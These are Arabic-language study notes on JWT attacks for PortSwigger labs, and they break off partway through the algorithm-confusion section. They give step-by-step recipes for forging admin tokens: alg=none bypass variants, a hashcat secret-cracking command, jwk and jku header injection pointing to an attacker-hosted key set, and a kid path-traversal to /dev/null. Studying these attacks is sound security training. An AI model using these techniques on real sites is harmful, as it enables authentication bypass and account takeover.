انتقل إلى المحتوى

ليه JWT vulnerabilities خطيرة جداً ؟

JWT غالباً يُستخدم في:

  • Authentication
  • Session Management
  • Access Control

يعني لو كسرت JWT 👉 غالباً كسرت الموقع كله.

بمعنى:

JWT bug = Full Account Takeover غالباً.


🧠 الفكرة الأساسية للهجمات على JWT

فاكر أهم فكرة قلناها قبل كده؟

JWT = السيرفر لا يخزن session
السيرفر يثق في التوكن نفسه.

يعني:
السيرفر يثق في البيانات اللي المستخدم نفسه بيبعتها له 😈

وده عكس session التقليدي.

وهنا تبدأ المشاكل.


🧩 مراجعة سريعة لتركيب JWT (عشان نبني الهجمات عليه)

JWT شكله:

HEADER.PAYLOAD.SIGNATURE

مثال:

eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIn0.XYZ

كل جزء ليه دور مهم في الهجوم.


1️⃣ Header (الميتاداتا)

بيحدد حاجتين مهمين جداً:

{  "alg": "RS256",  "kid": "9136ddb3"}

أهم حقول الهجوم:

Field ليه مهم ؟
alg نوع التوقيع
kid معرف المفتاح

هتشوف بعد شوية إن الاتنين دول بوابة هجمات ضخمة 🔥


2️⃣ Payload (الـ Claims)

ده يحتوي بيانات المستخدم:

{  "sub": "carlos",  "role": "blog_author",  "email": "carlos@site.com"}

السيرفر يقرأه ويقرر:

  • هل Admin؟
  • هل User؟
  • هل مسموح له يدخل /admin ؟

🚨 المشكلة:
أي حد يقدر يقرأه ويعدّله بسهولة.

ليه؟ لأنه Base64 فقط وليس encryption.

أي بنتستر أول حاجة يعملها:
Decode JWT وشوف فيه إيه.


⚠️ أهم جملة في الشابتر كله

JWT is signed, NOT encrypted.

يعني:

  • تقدر تقرأه ✔️
  • تقدر تعدله ✔️
  • لكن المفروض ما تقدرش تغيّر الـ signature ❌

والهجمات كلها بتحاول تكسر الفكرة دي.


3️⃣ Signature (حارس البوابة)

السيرفر يعمل:

signature = Sign(header + payload, SECRET_KEY)

ثم لما الطلب يرجع:

السيرفر يعمل Verify:

  • يعيد حساب التوقيع
  • يقارن مع الموجود

لو مطابق → التوكن سليم.


🧠 ليه تغيير Byte واحد يكسر التوقيع؟

لأن التوقيع = Hash للـ Header + Payload.

لو غيرت:

"role": "user"

إلى:

"role": "admin"

يبقى الهاش اتغير → signature invalid.

إلا لو قدرت تولد signature جديد 😈

وده هدف كل JWT attacks.


🎯 فكرة Tampering with JWT Claims

أول نوع هجمات في الشابتر.

اسمها:
JWT claim tampering

الفكرة ببساطة:

  1. افتح التوكن
  2. عدل البيانات
  3. حاول تخلي السيرفر يقبل التوكن رغم التعديل

لو نجحت → انتهى الموقع.


🧪 مثال واقعي جداً

السيرفر يرسل JWT فيه:

{  "username": "wiener",  "role": "user"}

الموقع يعتمد على role في تحديد الصلاحيات.

مثلاً:

if token.role == "admin":    allow_admin_panel()

لو قدرت تغيّر:

"role": "admin"

يبقى أنت Admin بدون login.

ده اسمه:
Privilege escalation via JWT

وهو أشهر سيناريو في PortSwigger labs.


🧠 ليه التلاعب ممكن ينجح أصلاً؟

لسببين رئيسيين:

السبب 1️⃣ السيرفر لا يتحقق من signature أصلاً 😱

Bug مشهور جداً.

السيرفر يعمل:

  • decode token
  • يقرأ payload
  • يستخدم البيانات مباشرة

بدون verify.

يعني:
JWT يتحول إلى مجرد JSON 😅

وده vulnerability خطير جداً.


السبب 2️⃣ السيرفر يتحقق بطريقة غلط

وده اللي هنشوفه في باقي الشابتر:

أشهر أخطاء التحقق:

  • قبول alg = none
  • خلط بين RS256 و HS256
  • استخدام secret ضعيف
  • استخدام kid header بطريقة خطأ
  • عدم التحقق من signature بشكل صحيح

ودي كلها هجمات كبيرة هنتعلمها واحدة واحدة.


💥 خلاصة الكلام لحد هنا

JWT security يعتمد بالكامل على:
👉 صحة التحقق من الـ signature.

لو verification فيه bug →
أي حد يقدر:

  • يزوّر التوكن
  • يغير الصلاحيات
  • ياخد Admin
  • يخترق كل الحسابات

JWT vs JWS vs JWE (أهم لخبطة بتحصل)

ناس كتير فاكرة إنهم نفس الحاجة… لكن الحقيقة 👇

📌 أولاً: JWT = مجرد Format

JWT في الأساس مش نظام أمان 😅

هو فقط:

طريقة لتمثيل البيانات كـ JSON وإرسالها بين طرفين.

يعني JWT لوحده:

  • لا يحدد التوقيع
  • لا يحدد التشفير
  • لا يحدد الأمان

هو مجرد container للبيانات.

زي ظرف بريد 📩
لكن لسه مش عارفين هل:

  • مختوم؟ (signed)
  • ولا متشفر؟ (encrypted)

وهنا ييجي دور JWS و JWE.


✍️ JWS = JSON Web Signature

ده النوع اللي احنا بنسميه غالباً "JWT" في الواقع.

🎯 ماذا يفعل؟

يضيف توقيع رقمي للـ JWT.

يعني:

  • البيانات يمكن قراءتها ✔️
  • لا يمكن تعديلها بدون كسر التوقيع ❌

ده بالضبط التوكن اللي شفناه قبل كده:

HEADER.PAYLOAD.SIGNATURE

⚠️ مهم جداً

المحتوى غير مشفر
أي حد يقدر يقرأ payload بسهولة.

لكن لا يقدر يغيّره بدون signature.


🔐 JWE = JSON Web Encryption

ده النسخة المشفرة.

🎯 ماذا يفعل؟

  • يشفر الـ payload بالكامل.
  • لا يمكن قراءته بدون المفتاح.

يعني:

  • لا يمكن قراءة البيانات ❌
  • لا يمكن تعديلها ❌

ده أقوى أماناً لكنه أقل انتشاراً.


⚖️ مقارنة سريعة

النوع قراءة البيانات تعديل البيانات
JWT فقط ✔️ ✔️
JWS ✔️
JWE

🤯 أهم جملة في الكورس

لما تسمع كلمة JWT في الواقع:

99% يقصدوا JWS

مش JWE.

وده مهم جداً لأن معظم الهجمات تستهدف JWS.


💣 ما هي JWT attacks ؟

التعريف الرسمي:

إرسال JWT معدل للسيرفر بهدف تحقيق هدف خبيث.

والهدف غالباً:

  • تجاوز Authentication
  • تجاوز Authorization
  • انتحال مستخدم آخر
  • الحصول على Admin

💥 تأثير JWT attacks

لو قدرت تصنع JWT صحيح:
= أنت تتحكم في الموقع بالكامل.

تقدر:

  • تدخل أي حساب
  • تصبح Admin
  • تصل لكل بيانات المستخدمين

ليه التأثير كبير؟

لأن JWT غالباً هو:
👉 نظام تسجيل الدخول نفسه.


🤔 لماذا تظهر JWT vulnerabilities ؟

سؤال مهم جداً.

المشكلة ليست في JWT نفسه.
المشكلة في طريقة استخدام المطورين له.

السبب الرئيسي:
JWT standard مرن جداً.

المطور يقرر بنفسه:

  • كيف يتحقق من التوقيع
  • أي Algorithm يستخدم
  • أين يخزن المفتاح
  • كيف يتحقق من claims

المرونة = أخطاء بشرية 😈


🎯 أصل كل هجمات JWT

كل الهجمات ترجع لسببين:

السبب 1️⃣ التحقق من التوقيع ضعيف

Signature verification flawed.

وده أخطر سبب.


السبب 2️⃣ المفتاح السري ضعيف أو مكشوف

لو المهاجم عرف secret key:
يستطيع إنشاء أي JWT يريد.

Game Over.


🧠 مشكلة أساسية في JWT Design

السيرفر لا يخزن التوكن.

يعني السيرفر لا يعرف:

  • التوكن الأصلي
  • التوقيع الأصلي
  • البيانات الأصلية

السيرفر يعتمد فقط على:
👉 التحقق من التوقيع.

لو التحقق فيه bug → انتهى.


🎭 مثال عملي على الخطر

JWT يحتوي:

{  "username": "carlos",  "isAdmin": false}

السيرفر يعتمد على:

if token.isAdmin:    allow_admin_panel()

لو عدلت التوكن إلى:

"isAdmin": true

والسيرفر لم يتحقق من التوقيع بشكل صحيح →
أصبحت Admin بدون اختراق حقيقي 😅

ده يسمى:
Privilege escalation via JWT


⚠️ Accepting Arbitrary Signatures (كارثة شائعة جداً)

دي أول vulnerability في اللابات غالباً.

📚 المشكلة

مكتبات JWT توفر دالتين:

الدالة وظيفتها
decode() يفك التوكن فقط
verify() يفك + يتحقق من التوقيع

بعض المطورين يستخدمون:

jwt.decode(token)

بدلاً من:

jwt.verify(token, secret)

وده معناه:

السيرفر لا يتحقق من التوقيع إطلاقاً 😱


😈 ماذا يعني هذا كمهاجم؟

أي JWT يصبح صالح.

يمكنك إنشاء JWT بنفسك:

{  "username": "admin",  "isAdmin": true}

وإرساله للسيرفر مباشرة.

وسيقبله!

لأنه يقرأ البيانات فقط بدون تحقق.


🔥 خلاصة الدرس كله

الفرق الأساسي

  • JWT = Format
  • JWS = Signed JWT (الأكثر استخداماً)
  • JWE = Encrypted JWT

أصل كل الهجمات

  1. السيرفر يثق في بيانات من المستخدم
  2. التحقق من التوقيع فيه خطأ

لو حصل واحد منهم → الموقع قابل للاختراق.


[^1]

[^1]: # أولاً: يعني إيه JWT أصلاً؟

**JWT = JSON Web Token**

هو عبارة عن طريقة تبعت بيها بيانات بين:

- Client (المستخدم / المتصفح)
- Server (السيرفر)

لكن أهم نقطة:

> البيانات بتكون **self-contained** يعني السيرفر مش محتاج يخزن session في الداتابيز.

بدل ما السيرفر يخزن session زي:

```
SessionID -> user data
```

هو بيدي للمستخدم **توكن فيه كل البيانات**  
والمستخدم يرجعه كل request.

وده سبب إن JWT مشهور جداً في:

- Authentication
- Session Management
- Access Control
- Microservices

---

# شكل الـ JWT

التوكن بيتكوّن من 3 أجزاء مفصولين بنقطة:

```
HEADER.PAYLOAD.SIGNATURE
```

زي كده:

```
xxxxx.yyyyy.zzzzz
```

## الجزء 1️⃣: Header

ده metadata عن التوكن.

مثال:

```
{  "alg": "RS256",  "typ": "JWT"}
```

معنى الكلام ده:

|Field|معناه|
|---|---|
|alg|نوع خوارزمية التوقيع|
|typ|نوع التوكن|

الخوارزميات المشهورة:

- HS256 → HMAC (secret key)
- RS256 → RSA (public/private key)
- none → بدون توقيع 😈 (خطير جداً)

---

## الجزء 2️⃣: Payload (الـ Claims)

ده أهم جزء… فيه بيانات المستخدم.

مثال:

```
{  "iss": "portswigger",  "exp": 1648037164,  "name": "Carlos Montoya",  "sub": "carlos",  "role": "blog_author",  "email": "carlos@site.com",  "iat": 1516239022}
```

### يعني إيه Claims؟

Claims = معلومات عن المستخدم أو الجلسة.

أنواع الـ claims:

### 1️⃣ Registered Claims (قياسية)

|claim|معناها|
|---|---|
|iss|مين أصدر التوكن|
|sub|المستخدم|
|exp|وقت انتهاء التوكن|
|iat|وقت إصدار التوكن|

### 2️⃣ Public claims

زي:

```
roleemailusername
```

### 3️⃣ Private claims

أي حاجة الأبلكيشن محتاجها.

---

⚠️ أهم نقطة:

> الـ Header و Payload مش encrypted ❗  
> هم بس **Base64URL encoded**

يعني أي حد معاه التوكن يقدر يفكّه ويقرأه.

بس مش يقدر يعدّل عليه… ليه؟  
علشان الجزء التالت 👇

---

## الجزء 3️⃣: Signature (التوقيع)

ده أهم جزء في الأمن كله.

السيرفر بيعمل:

```
Signature = Sign(   base64Url(header) + "." + base64Url(payload),   secret_key)
```

يعني:

- السيرفر عنده secret key
- بيستخدمه لتوقيع التوكن

لما المستخدم يبعت التوكن:  
السيرفر يعيد حساب التوقيع ويقارنه.

لو اتغير **حرف واحد** في payload → التوقيع يبوظ.

---

# ليه JWT خطر لو اتنفذ غلط؟

لأن السيرفر **مش بيخزن التوكن**.

يعني:  
السيرفر مش فاكر:

- التوكن الأصلي
- التوقيع الأصلي

هو بس:

- يستقبل التوكن
- يشيّك التوقيع
- يثق في البيانات جوه التوكن.

لو التوقيع اتفحص غلط → انتهى الموقع 😈

---

# ثانياً: JWT vs JWS vs JWE

دي نقطة ناس كتير بتتلخبط فيها.

## JWT = Format فقط

JWT مجرد **شكل للبيانات**.

لكن لازم يتحقق بإحدى طريقتين:

### JWS → Signed JWT (الأشهر)

التوكن:

- readable
- signed فقط

يعني:  
أي حد يقدر يقرأ البيانات  
بس مش يقدر يغيرها.

وده اللي الناس بتقصده لما تقول JWT.

---

### JWE → Encrypted JWT

التوكن:

- encrypted بالكامل 🔒
- محدش يقدر يقراه غير السيرفر

يعني:

```
JWT = JWS أو JWE
```

وفي الكورس هنا لما يقول JWT → يقصد JWS غالباً.

---

# ثالثاً: يعني إيه JWT Attacks؟

هو إنك **تعدل التوكن وتخدع السيرفر**.

الهدف غالباً:

- Login بدون باسورد
- تحويل نفسك Admin
- انتحال مستخدم تاني

مثال:

```
{  "username": "carlos",  "isAdmin": false}
```

لو عدلتها:

```
{  "username": "administrator",  "isAdmin": true}
```

لو السيرفر ما تحققش من التوقيع صح → مبروك بقيت Admin 😎

---

# رابعاً: ليه الثغرات دي بتحصل؟

المشكلة مش في JWT نفسه  
المشكلة في **تنفيذ المطورين**.

أشهر الأسباب:

1️⃣ السيرفر ما بيتأكدش من التوقيع  
2️⃣ استخدام secret key ضعيف  
3️⃣ تسريب المفتاح  
4️⃣ سوء استخدام المكتبات  
5️⃣ الثقة في header بتاع المستخدم (خطأ قاتل)

---

# خامساً: أخطر خطأ — decode() بدل verify()

في Node.js مثلاً:

في مكتبة اسمها jsonwebtoken فيها دالتين:

|function|وظيفتها|
|---|---|
|verify()|يفك التوكن + يتحقق من التوقيع|
|decode()|يفك التوكن فقط ❌|

بعض المطورين يعملوا:

```
jwt.decode(token)
```

بدل:

```
jwt.verify(token, secret)
```

يعني إيه؟  
يعني السيرفر:

- بيقرأ البيانات
- ويصدقها بدون أي توقيع 😱

وده معناه:

> أي حد يقدر يصنع توكن بنفسه ويعمل login.

---

# سادساً: ثغرة alg = none (أشهر هجوم JWT)

خلينا نفهم الكارثة دي كويس.

## Header فيه حاجة اسمها alg

```
{  "alg": "HS256"}
```

دي بتقول للسيرفر:

> استخدم HS256 عشان تتحقق من التوقيع.

⚠️ المشكلة:  
السيرفر بياخد قيمة alg من التوكن نفسه!  
يعني من المستخدم 😬

يعني المهاجم يقدر يقول للسيرفر:  
"متتحققش من التوقيع"

كيف؟ 👇

---

## Unsecured JWT

ممكن تعمل توكن بدون توقيع:

```
{  "alg": "none"}
```

والتوكن يبقى شكله:

```
HEADER.PAYLOAD.
```

لاحظ:  
في نقطة أخيرة بعد payload.

يعني مفيش signature.

لو السيرفر يقبل النوع ده → انتهى الموقع 🔥

المهاجم يعمل:

```
{  "username": "administrator",  "isAdmin": true}
```

ويبعتها بدون توقيع.

لو السيرفر وافق → دخلت كأدمن بدون باسورد.

---

## طيب ليه السيرفر يقبل ده أصلاً؟

لأن بعض الفلاتر بتعمل:

```
if (alg == "none") reject
```

لكن المهاجم يعمل bypass:

أمثلة:

```
NoneNONEnOnEnone%00
```

String parsing tricks 😈

---

# ملخص مهم جداً 🔥

أخطر 3 أفكار في JWT attacks:

1️⃣ السيرفر لا يخزن التوكن → يعتمد على التوقيع فقط  
2️⃣ المستخدم يتحكم في Header → خطر جداً  
3️⃣ أي خطأ في التحقق من التوقيع = اختراق كامل

JWT authentication bypass via weak signing key:

[^2]

[^2]: # أولاً: ليه أصلاً ينفع نعمل brute force على JWT؟

الهجوم ده يخص **خوارزميات HMAC** زي:

```
HS256HS384HS512
```

ودي بتستخدم حاجة اسمها:

> **Shared Secret Key**

يعني مفتاح سري واحد موجود عند السيرفر فقط.

التوقيع بيتعمل كده:

```
signature = HMAC(secret, header.payload)
```

يعني:

- السيرفر عنده secret
- يوقع التوكن بالمفتاح
- أي توكن يرجعله → يعيد حساب التوقيع بالمفتاح ويقارنه.

لو التوقيع صح → يثق في التوكن بالكامل.

⚠️ هنا المشكلة الخطيرة:

> لو عرفنا الـ secret = نقدر نعمل توكنات صح 100%

وده معناه:

- نصنع توكن Admin
- ندخل أي حساب
- نغير أي claim
- نكسر authentication بالكامل

يعني حرفياً:  
**Account takeover كامل للموقع.**

---

# ثانيًا: ليه الـ Secret بيتخمن أصلاً؟

المطورين يعملوا أخطاء غبية جداً 😅

أمثلة real world secrets:

```
secretpasswordjwtsecret123456secretkeymysecretchangeme
```

أحياناً كمان:

- ينسوا يغيروا secret موجود في tutorial 😬
- يسيبوا default secret من library 😬
- يحطوا secret قصير جداً 😬

المفروض secret يكون:

- طويل جداً
- عشوائي
- مش كلمة dictionary

لكن الواقع؟ 😏

---

# ثالثًا: فكرة الهجوم نفسها

أنت عندك JWT صحيح من السيرفر:

```
header.payload.signature
```

أنت مش عارف secret.

لكن تعرف حاجة مهمة:

> signature = HMAC(secret, header.payload)

يبقى نعمل إيه؟

نجرب secrets كتير من wordlist  
ونشوف مين يطلع نفس التوقيع.

لو واحد طلع نفس signature → لقينا المفتاح 🎉

ده بالضبط زي brute force للباسورد.

---

# رابعًا: ليه الهجوم سريع جدًا؟

نقطة مهمة جداً:

الهجوم **Offline** مش Online.

يعني:

- مش بنبعت requests للسيرفر
- مفيش rate limit
- مفيش detection
- مفيش logs

كل الشغل بيحصل على جهازك.

وده يخليه سريع جداً ⚡

حتى ملايين المحاولات في ثواني.

---

# خامسًا: استخدام Hashcat

أشهر أداة للهجوم ده = **hashcat**

وده أقوى tool brute force في العالم تقريباً.

## المطلوب:

1️⃣ JWT صحيح من السيرفر  
2️⃣ Wordlist secrets

زي:

- rockyou.txt
- jwt-secrets.txt

---

## الأمر المستخدم

```
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

نشرح كل حاجة:

|جزء|معناه|
|---|---|
|hashcat|البرنامج|
|-a 0|dictionary attack|
|-m 16500|نوع الهاش = JWT HS256|
|jwt|التوكن|
|wordlist|قائمة secrets|

---

## Hashcat بيعمل إيه داخلياً؟

لكل كلمة في wordlist:

```
test_secret -> sign(header.payload)
```

ثم يقارن:

```
generated_signature == real_signature ?
```

لو حصل match:

يظهر:

```
<jwt>:<secret>
```

يعني:  
🎉 لقينا المفتاح السري.

---

# سادسًا: بعد ما نعرف الـ Secret… الكارثة تبدأ 😈

دلوقتي بقى عندك المفتاح اللي السيرفر بيستخدمه.

يبقى نعمل إيه؟

نصنع JWT جديد:

مثلاً نحول نفسنا Admin:

```
{  "username": "administrator",  "isAdmin": true}
```

نوقع التوكن بالمفتاح اللي لقيناه.

السيرفر هيقول:  
"Signature valid ✔"  
"توكن سليم ✔"  
"أهلاً يا أدمن 🤝"

🔥🔥🔥

---

# ليه الهجوم ده High severity جدًا؟

لأن تأثيره:

|النتيجة|التأثير|
|---|---|
|Forged tokens|تزوير جلسات|
|Privilege escalation|تحويل نفسك Admin|
|Account takeover|انتحال أي مستخدم|
|Authentication bypass|دخول بدون باسورد|

يعني:

> انهيار كامل لنظام تسجيل الدخول.

---

# سابعًا: إمتى الهجوم ده ينجح؟

يشتغل فقط لو:

- الخوارزمية HS256 (shared secret)
- secret ضعيف أو dictionary word

لو الموقع يستخدم:

```
RS256
```

الهجوم ده ماينفعش (ده موضوع تاني اسمه key confusion).

---

# خلاصة الجزء ده 🔥

لو الموقع:

- يستخدم HS256
- secret ضعيف

يبقى المهاجم يقدر:  
1️⃣ ياخد JWT واحد  
2️⃣ يعمل brute force بالملايين  
3️⃣ يلاقي secret  
4️⃣ يصنع توكنات مزورة لأي مستخدم

JWT authentication bypass via jwk header injection :

[^3]

[^3]: # الفكرة الأساسية

فاكر إن السيرفر لما يستلم JWT لازم يعرف:

> أستخدم أنهي مفتاح علشان أتحقق من التوقيع؟

المفروض السيرفر يختار المفتاح من عنده هو.

لكن بعض السيرفرات الغلط ❌ بتعمل حاجة خطيرة جداً:  
بتثق في معلومات جاية **من داخل التوكن نفسه** 🤦‍♂️

يعني التوكن يقول للسيرفر:

> استخدم المفتاح ده للتحقق مني.

لو السيرفر صدق الكلام ده… خلاص احنا كسبنا 🎉

---

# أهم 3 parameters في الـ Header

دول اللي بنهاجمهم:

|parameter|وظيفته|
|---|---|
|jwk|التوكن يبعث المفتاح جوّه نفسه|
|jku|التوكن يقول للسيرفر يجيب المفتاح من URL|
|kid|التوكن يحدد اسم المفتاح|

كلهم هدفهم واحد:  
👉 إجبار السيرفر يستخدم **مفتاح إحنا اخترناه**.

وأخطرهم في اللابات: **jwk injection**

---

# يعني ايه jwk ؟

## JWK = JSON Web Key

ده فورمات لتمثيل المفتاح كـ JSON.

شكل المفتاح العام RSA بيكون كده:

```
{  "kty": "RSA",  "e": "AQAB",  "n": "base64_modulus"}
```

ده Public Key.

فاكر RSA؟

- Private key → نوقّع بيه
- Public key → السيرفر يحقق بيه

---

# الثغرة بتحصل ازاي؟

السيرفر المفروض:

- عنده Public key محفوظ عنده
- يستخدمه للتحقق من التوقيع

لكن السيرفر الضعيف يعمل كده:

1. يشوف jwk في الهيدر
2. يقول:  
    "أوه التوكن جاب المفتاح معاه… خلاص استخدمه"

💀💀💀

يعني إحنا نقدر نقوله:

> استخدم مفتاحي أنا.

---

# السيناريو الكامل للهجوم

بدل ما نكسر secret…  
هنعمل مفتاح جديد خاص بينا 😈

الهجوم اسمه:  
**Self-Signed JWT**

---

# فكرة الهجوم ببساطة جداً

بدل:

```
Server signs tokenServer verifies token
```

نخليها:

```
Attacker signs tokenServer verifies token باستخدام مفتاح المهاجم 😈
```

---

# خطوات الهجوم عملي في Burp

ركز دي مهمة جداً.

---

## 1️⃣ توليد RSA key جديد

روح:

```
JWT Editor → Keys
```

اضغط:

```
New RSA Key
```

اضغط Generate وخلاص.

دلوقتي معاك:

- Public key
- Private key

المفتاح ده بتاعك انت.

---

## 2️⃣ افتح التوكن في Repeater

زي ما عملنا قبل كده.

افتح تبويب:

```
JSON Web Token
```

---

## 3️⃣ عدّل الـ Payload

مثلاً:

```
{  "sub": "administrator"}
```

أو:

```
{  "username": "administrator"}
```

حسب اللاب.

---

## 4️⃣ نفذ الهجوم جاهز من Burp

اضغط:

```
Attack → Embedded JWK
```

اختار RSA key اللي عملته.

Burp هيعمل تلقائي:

✔ يضيف jwk في header  
✔ يضيف kid مطابق  
✔ يوقّع التوكن بالـ private key بتاعك  
✔ يبني JWT كامل جاهز

دي أهم خطوة في الهجوم كله.

---

# شكل الهيدر بعد الهجوم

هيبقى فيه jwk كده:

```
{  "alg": "RS256",  "jwk": { public key بتاعك هنا }}
```

يعني التوكن بيقول للسيرفر:

> استخدم المفتاح ده للتحقق مني.

لو السيرفر vulnerable:  
هيصدق فوراً 😨

---

# 5️⃣ ابعت الريكوست

لو السيرفر vulnerable:  
هتدخل Admin مباشرة.

من غير ما تعرف secret  
من غير brute force  
من غير أي حاجة

🔥🔥🔥

---

# ليه الهجوم ده قوي جداً؟

لأننا:

- مش محتاجين مفتاح السيرفر
- مش محتاجين نكسر حاجة
- بنخلي السيرفر يستخدم مفتاحنا 😈

ده اسمه:  
**Trusting user-controlled keys**

وهي من أخطر أخطاء JWT.

---

# ملخص سريع

|المرحلة|اللي بيحصل|
|---|---|
|Generate RSA key|نعمل مفتاح خاص بينا|
|Modify payload|نخلي نفسنا admin|
|Embedded JWK|نحط public key في التوكن|
|Sign بالـ private key|نوقّع بنفسنا|
|Server verifies|يستخدم مفتاحنا بالغلط|

💀 Authentication bypass كامل.

JWT authentication bypass via jku header injection :

[^4]

[^4]: ## الفكرة الأساسية

السيرفر لما يشوف JWT فيه Header فيه `jku` بيعمل الآتي:

1️⃣ يقرأ قيمة `jku`  
2️⃣ يروح يعمل **HTTP request** للـ URL ده  
3️⃣ يجيب منه **JWK Set (public keys)**  
4️⃣ يستخدم المفتاح المناسب (عن طريق `kid`) علشان يتحقق من توقيع التوكن

يعني السيرفر بيقول:

> “هاتلي المفتاح العام من اللينك ده وأنا هتحقق من التوقيع.”

المشكلة؟ 🤦‍♂️  
الـ URL نفسه **جاي من التوكن اللي المستخدم بعته**.

يعني لو السيرفر مش عامل allowlist صح… انت تقدر تخليه يجيب المفتاح من عندك أنت 😈

---

## سيناريو الهجوم ببساطة

بدل ما السيرفر يجيب المفتاح من:

```
https://victim.com/.well-known/jwks.json
```

نخليه يجيب المفتاح من:

```
https://attacker.com/jwks.json
```

وبالتالي:

- انت تعمل مفتاح RSA بنفسك
- توقّع التوكن بالمفتاح الخاص
- تحط public key بتاعك في jwks.json
- السيرفر يجيب المفتاح منك ويقول:  
    “آه التوقيع صحيح” ✔️

وبكده التوكن المزور يبقى trusted.

---

## خطوات التنفيذ (مفهومياً)

### 1️⃣ توليد RSA key pair

- Private key → للتوقيع
- Public key → نحطه في JWK Set

---

### 2️⃣ تحويل الـ Public Key إلى JWK

شكل JWK بيكون كده:

```
{  "kty": "RSA",  "e": "AQAB",  "kid": "attacker-key",  "n": "base64url modulus"}
```

ونحطه داخل JWK Set:

```
{  "keys":[    {      "kty":"RSA",      "e":"AQAB",      "kid":"attacker-key",      "n":"XXXX"    }  ]}
```

---

### 3️⃣ استضافة jwks.json

ترفع الملف على سيرفر بتاعك مثلاً:

```
http://YOUR-SERVER/jwks.json
```

مهم جداً يكون accessible بدون auth.

---

### 4️⃣ تعديل JWT Header

نضيف:

```
{  "alg": "RS256",  "jku": "http://YOUR-SERVER/jwks.json",  "kid": "attacker-key"}
```

لاحظ العلاقة:

- `jku` → فين السيرفر يجيب المفتاح
- `kid` → أي مفتاح داخل الـ keys يستخدم

---

### 5️⃣ تعديل الـ payload (مثلاً admin)

```
{  "sub":"administrator"}
```

---

### 6️⃣ توقيع التوكن بالـ private key بتاعك

وده أهم خطوة:  
السيرفر هيستخدم **public key بتاعك** علشان يتحقق → فالتوقيع لازم يكون بالمفتاح الخاص المقابل.

---

## ليه الهجوم ينجح؟

لأن السيرفر عمل 3 أخطاء:

1️⃣ وثق في header جاي من المستخدم  
2️⃣ سمح بجلب مفاتيح من أي URL  
3️⃣ ماعملش allowlist للـ domain

وده نوع من:

- JWT Misconfiguration
- - SSRF-like behavior

---

## ملاحظات مهمة للـ labs

غالباً PortSwigger labs بيكون فيها:

- Filter بسيط للـ domain
- وتحتاج bypass بسيط للـ URL  
    زي:

```
http://trusted.com@attacker.com/jwks.json
```

أو redirect.

Injecting self-signed JWTs via the kid parameter :

[^5]

[^5]: # فكرة الهجوم ببساطة

السيرفر بيستخدم `kid` عشان يعرف **يجيب مفتاح التحقق منين**.

بدل ما يكون:

```
kid = key1kid = key2
```

بعض السيرفرات الغلط تعمل حاجة زي:

```
readFile("/keys/" + kid)
```

فإنت كمهاجم تقدر تقول له:

```
اقرأ أي فايل من السيستم 😈
```

وده اسمه:

```
Directory Traversal via kid
```

---

# ليه /dev/null تحديداً ؟

في لينكس فيه فايل اسمه:

```
/dev/null
```

ده فايل فاضي بيرجع **empty string**.

لو السيرفر استخدمه كمفتاح:  
يبقى secret = "" (فاضي)

وده معناه إنك تقدر توقّع JWT بـ **secret فاضي** ويقبلوه 😳

---

# سيناريو الهجوم كامل

السيرفر:

- يقبل HS256 (symmetric)
- يستخدم kid يقرأ فايل كمفتاح

يبقى نعمل JWT جديد كده 👇

---

## 1️⃣ نغير الـ Algorithm

لازم يكون:

```
"alg": "HS256"
```

مش RS256 المرة دي ⚠️

---

## 2️⃣ نغير الـ kid

نحطه:

```
"kid": "../../../../../../dev/null"
```

أحياناً يكفي:

```
"kid": "/dev/null"
```

حسب الفلترة.

---

## 3️⃣ نعمل Sign ب secret فاضي

في Burp:

JWT Editor → Keys → New Symmetric Key

اختار:

```
Specify secret → سيبه فاضي
```

يعني ما تكتبش حاجة.

اضغط Generate → OK

---

## 4️⃣ نوقّع التوكن

اضغط Sign واختار:

Algorithm:

```
HS256
```

Signing key:

```
(empty key)
```

Header options:

```
✔ kid❌ jwk❌ jku
```

بس كده.

---

## 5️⃣ عدل الـ payload

حط:

```
"sub": "administrator"
```

---

## 6️⃣ ابعت التوكن 🚀

لو اللاب vulnerable هتدخل admin مباشرة.

---

# ليه الهجوم ده بيشتغل؟

السيرفر يعمل كده:

```
secret = readFile(kid)verify(signature, secret)
```

kid = /dev/null  
→ secret = ""  
→ انت وقعت ب secret = ""  
→ signature صحيح ✔️

Algorithm confusion attacks :

[^6]

[^6]: # أولاً: لازم نفهم التوقيع في JWT بيشتغل إزاي

أي JWT =

```
HEADER.PAYLOAD.SIGNATURE
```

التوقيع بيتعمل على:

```
base64(header) + "." + base64(payload)
```

وبعدين يتعمل Sign باستخدام **Algorithm + Key**

المشكلة كلها هنا 👇  
**Algorithm + Key**

---

# ثانياً: أنواع Algorithms في JWT

في نوعين مهمين جداً:

## 1️⃣ Symmetric algorithms (زي HS256)

اسمها symmetric لأن:

نفس المفتاح يستخدم:

- للتوقيع
- للتحقق

يعني:

```
secret = "supersecret"
```

السيرفر:

```
signature = HMAC(secret, data)verify = HMAC(secret, data)
```

لو عرفت الـ secret → انتهى النظام.

---

## 2️⃣ Asymmetric algorithms (زي RS256)

دي أهم نقطة في الهجوم.

RSA بيستخدم مفتاحين:

|النوع|الاستخدام|
|---|---|
|Private key 🔐|التوقيع|
|Public key 🔓|التحقق|

السيرفر:

```
sign باستخدام private keyverify باستخدام public key
```

والـ public key ممكن يبقى public عادي.

وده آمن جداً.

---

# ثالثاً: فين الغلطة اللي بتسبب الهجوم؟

الغلطة مش في JWT…  
الغلطة في **طريقة كتابة الكود**.

المبرمج يكتب كود كده:

```
verify(token, key)
```

لكن ما يعملش Check مهم جداً:

❌ لا يتحقق إن algorithm ثابت.

السيرفر يقرأ algorithm من التوكن نفسه 😨

---

# رابعاً: الهيدر خطر جداً

الهيدر موجود جوه التوكن:

```
{  "alg": "RS256"}
```

السيرفر بيعمل:

```
اقرأ alg من التوكنواستخدمه للتحقق
```

بس التوكن جاي من المستخدم 🤦‍♂️  
يعني **المهاجم يحدد طريقة التحقق بنفسه**.

وهنا اسم الهجوم:

# 🔥 Algorithm Confusion

يعني: تخلي السيرفر يخلط بين نوعين algorithms.

---

# خامساً: الفكرة الأساسية للهجوم

السيرفر أصلاً بيستخدم:

```
RS256
```

يعني:

```
لديه Public key
```

والمفروض:

- Private key للتوقيع
- Public key للتحقق

مفيش مشكلة لحد هنا.

---

# سادساً: نقطة الضعف الذكية جداً

السيرفر لما يجي يتحقق يعمل:

```
if alg == HS256 → استخدم KEYif alg == RS256 → استخدم KEY
```

والمصيبة إن:

```
KEY = public key
```

يعني نفس المتغير مستخدم في الحالتين 😭

---

